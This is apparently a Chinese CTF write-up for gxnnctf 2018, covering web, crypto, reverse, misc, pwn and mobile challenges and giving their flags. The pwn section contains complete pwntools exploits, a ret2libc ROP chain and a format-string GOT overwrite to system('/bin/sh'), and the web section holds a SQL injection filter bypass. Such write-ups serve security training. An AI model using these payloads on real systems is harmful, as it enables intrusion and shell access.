Web

1.超简单

http://gxnnctf.gxsosec.cn:12311/ 看NO参数,匹配正则,白名单且长度大于1就那么就会返回flag
传参/?NO=01 即得到flag Flag:gxnnctf{H0xIkKSSKS62UXPgLtCElE8jDCL7a2nqxDTT}

2.帽子商城

http://gxnnctf.gxsosec.cn:12313/ 这道题很狗血,题目放出24小时所有比赛队伍的大佬们都没熬个出头绪来,心态都炸了。 Emmmm…..
当然,做出来之后知道真相的我眼泪掉下来……
走过的错路太多,什么奇葩姿势都上了,就不说那些没用的
在和团队队员在讨论这道题的时候其中一位队员给了打开正确大门的思路
  得到这个思路启发结合官方给出的tips “1s”,我想是的一个号带两个sessid在1S内同时购买帽子,条件竞争。随即就去验证了这个思路搓一个py
Ps:思路就是1个号 开2个浏览器登陆 有2个cookie然后同时在第二关发包r购买 就可以了
  Flag:gxnnctf{ZPXz1pYr247T98LogXEvePkXKkcspV9kDP88}

还有一个用Burp的做法

到了第二关以后留意一下这里处理只要62ms
然后如果你这里buy这个第二关的帽子会发现处理时间慢很多
if you want to get the big green hat,you have to buy two green hat(level2)
这个要被打的出题人写的 现在看回来就是提示 说你要得到一个更大的 请买2个二级帽子。

然后就有一个思路是一个号 2个登陆 也就是2个cookie (chrome开个无痕窗口就好了) 用这2个cookie同时发起购买的包

Emm 然后动手 我们打开我们的burp
抓了包以后 clear 再在cookie的phpsessid添加一个变量
payload随便添加几个第二个无痕窗口的cookie
然后Start Intruder
看到这2个Length和下面的不一样就知道稳如老狗
F5一下 fxxk green hat

3.Sql

http://gxnnctf.gxsosec.cn:12312/ 网站目录/.git/存在git泄漏,直接利用git恢复回复工具恢复文件 https://github.com/style-404/Git_Extract   对index.php进行代码审计 过滤了括号然后if语句用不了,
但是利用mysql的case when绕过,判断变量是否为空,若为空赋值为2,不为空的话查询结果为1。第一次查询返回2,第二次查询返回1。
本地mysql测试: 所以:
payload:@ctf:=2 index.PHP?id=case%20when%20@ctf%20is%20null%20then%20@ctf:=2%20else%20@ctf:=@ctf-1%20end&backdoor=Melonrind    

Basic

真-签到题

公众号回复gxnnctf2018即可

Her Majesty Queen Elizabeth II

Base92编码,在线解密即得flag

Crypto

维吉尼亚遇上困难

得到密文后直接在维吉尼亚密码在线解密 解密出来后的明文末尾得到flagisyouaresokindly
Falg即为you are so kindly

shamir重要数据损坏

先了解一下shamir算法 接下来找解密公式
  感觉这像一道高数题(吃了没文化的亏)…  把原key带入公式计算解密即可 算出a0为2018
Flag即是2018

Rve

SMC

upx脱壳后直接IAD逆向程序逻辑 得知是异或+base64
还原后解出flag
gxnnctf{Se1f-M0difying_c0de!}
 

Misc

太简单了

把flag文件拉入c32十六进制打开后看到内容有flag.PNG 猜测可能为压缩包文件
补上压缩包文件头,把后缀改为zip解压出来得到flag.PNG
得到为gxnnctf{Do_you_konw_ziphead}
 

Misc2

下载得到压缩包,打开后发现有很多个加密压缩包
Google搜索到原题是crc32爆破, bugku的一道隐写题
直接套用脚本,改一下  
 
base64解密就是flag
gxnnctf{2iP_Crc_ju5t_K1Dd1n9}
 

TXT

下载之后是一句话
Welcome to Guangxi NanNing CTF,enjoy this,have a good time.(。・∀・)ノ゙
放在浏览器里面发现多了
%E2%80%8B%E2%80%8B%E2%80%8B%E2%80%8B%
这样的东西 经过百度发现是零宽度字符
再通过这些关键字谷歌一找发现是一个原题HAckit CTF 的一道misc
解密过程如果下: gxnnctf{T2oFG2ZoAzVsK7dXy1ZLrIxY8E5q8uHjG5Cz}
 

流量包

下载之后,发现是一个菜刀流量,进行了分析。  
发现这里有flag.zip
直接用binwalk导出来 发现一个压缩包和一个dmp文件。把dmp利用dump工具导出查看 发现这个hash 解密一下发现是一个gx2018
但是解开不了那个文件包。最后通过somd5 再加密了一次
ef043e263e97e9dc60d8ce44eb2a8b09
得到压缩包(rar打开有坑 用7zip)
  Flag:{6OUpOR89CMIb95FOym41AbijPgsySBdmWdwT}
 

这是啥

一张图片,最开始以为是隐写,但是后面才发现是一个密码学
具体的如下:

  • GFE-YL
    2  CERCNS
    3  NLA-AI
    4  X{N-PY
    5  NET-TS
    6  TMYRA}143526
    GXNNCTF{LEEMENATRY—-CRYPATNALYISS}

未知文件

下来后打开发现了png头,分离后是pyc和png文件,png
需要修复高度宽度才能打开 原高度为425 修改第二行为01 A9就是425的16进制,就可以打开了
Pyc需要还原,还原出来的代码为 还原跑出hit, 为hit{stegosaurus}
Pyc在线工具解密出来即得
Flag:gxnnctf{Hldd3n_Tre@sure}

PWN

X64

#!/usr/local/bin python
from pwn import *
 
libc = ELF(‘./x64_libc.so.6’)
elf = ELF(‘./pwn_x64’)
 
p = remote(‘47.106.209.151’, 55555)
 
plt_write = elf.symbols[‘write’]
got_write = elf.got[‘write’]
vulfun_addr = 0x40057d
main_addr = 0x40059D
rop2_addr = 0x400633
rop1 =0x400631
p.recvuntil(‘\n’)
 
payload = ‘a’ * 136
payload += p64(rop2_addr) + p64(1)
payload += p64(rop1) + p64(got_write) + p64(0)
payload += p64(plt_write)
payload += p64(vulfun_addr)
 
p.send(payload)
write_addr = u64(p.recv(8))
 
system_addr = write_addr – (libc.symbols[‘write’] – libc.symbols[‘system’])
binsh_addr = write_addr – (libc.symbols[‘write’] – next(libc.search(‘/bin/sh’)))
payload = ‘a’ * 136  #patter
payload += p64(rop2_addr) + p64(binsh_addr)
payload += p64(system_addr)
p.send(payload)
p.interactive()
  flag{gTSbRZsbn5tPLchsZ0bNoRo3UeByXjkacSdE}
PS:原题
 

format

%N$s:以printf第N个参数位置的值为地址,输出这个地址指向的字符串的内容;
我们就可以通过任意读把文件下载下来
如果对一个x00的地址进行leak,返回是没有结果的,因此如果返回没有结果,我们就可以确定这个地址的值为x00,所以可以设置为x00然后将地址加1进行dump
网上现成py:
from pwn import *
import binascii
context.log_level = ‘debug’
r = remote(‘47.106.209.151’,44444)
def leak(addr):
payload = “%9$s.TMP” + p32(addr)
r.sendline(payload)
print “leaking:”, hex(addr)
resp = r.recvuntil(“.TMP”)
ret = resp[:-4:]
print “ret:”, binascii.hexlify(ret), len(ret)
remain = r.recvrepeat(0.2)
return ret
begin = 0x8048000
text_seg =”
try:
while True:
ret = leak(begin)
text_seg += ret
begin += len(ret)
if len(ret) == 0:
begin +=1
text_seg += ‘\x00’
except Exception as e:
print e
finally:
print ‘[+]’,len(text_seg)
with open(‘format_bin’,’wb’) as f:
f.write(text_seg)
 

然后dump下来以后 设置一下 因为没有偏移 手动rebase 0x8048000  # Edit -> Segments -> Rebase program
这是printf plt地址
剩下就是getshell了
  1. 确定printf的plt地址
  2. 通过泄露plt表中的指令内容确定对应的got表地址
  3. 通过泄露的got表地址泄露printf函数的地址
  4. 通过泄露的printf的函数地址确定libc基址,从而获得system地址
  5. 使用格式化字符串的任意写功能将printf的got表中的地址修改为system的地址
  6. send字符串“/bin/sh;”,那么在调用printf(“/bin/sh;”)的时候实际上调用的是system(“/bin/sh;”),从而成功获取shell

#! /usr/bin/env python# -*- coding: utf-8 -*-from pwn import *context.log_level = ‘debug’p = remote(‘47.106.209.151’,44444)libc = ELF(‘./x86_libc.so.6’)got_printf = 0x0804A004libc_system = libc.symbols[‘system’]libc_printf = libc.symbols[‘printf’]leak_payload = “%8$s” + p32(got_printf)p.sendline(leak_payload)info = p.recv()data = info[0:4]print(data.encode(‘hex’))printf_addr = u32(data)libc_base = printf_addr – libc_printfsystem_addr = libc_base + libc_systempayload = fmtstr_payload(7, {got_printf: system_addr})p.sendline(payload)p.sendline(‘/bin/sh\x00’)p.interactive() flag{hP4jHfpq3zRQ3FrFZjDfpZhipIjgbXBXtU 
 
 

mobile

ios_200

这到题能做出来可以说很运气,拿到题目后也没什么头绪
就在文件堆里一整乱翻各种工具乱怼
解压app后在UnlockMyIphone发现了惊喜 一段ras私钥  
直接复制拿去解密后得到flag 。 emmmm……
H01id@y_h@ck_ch@11enge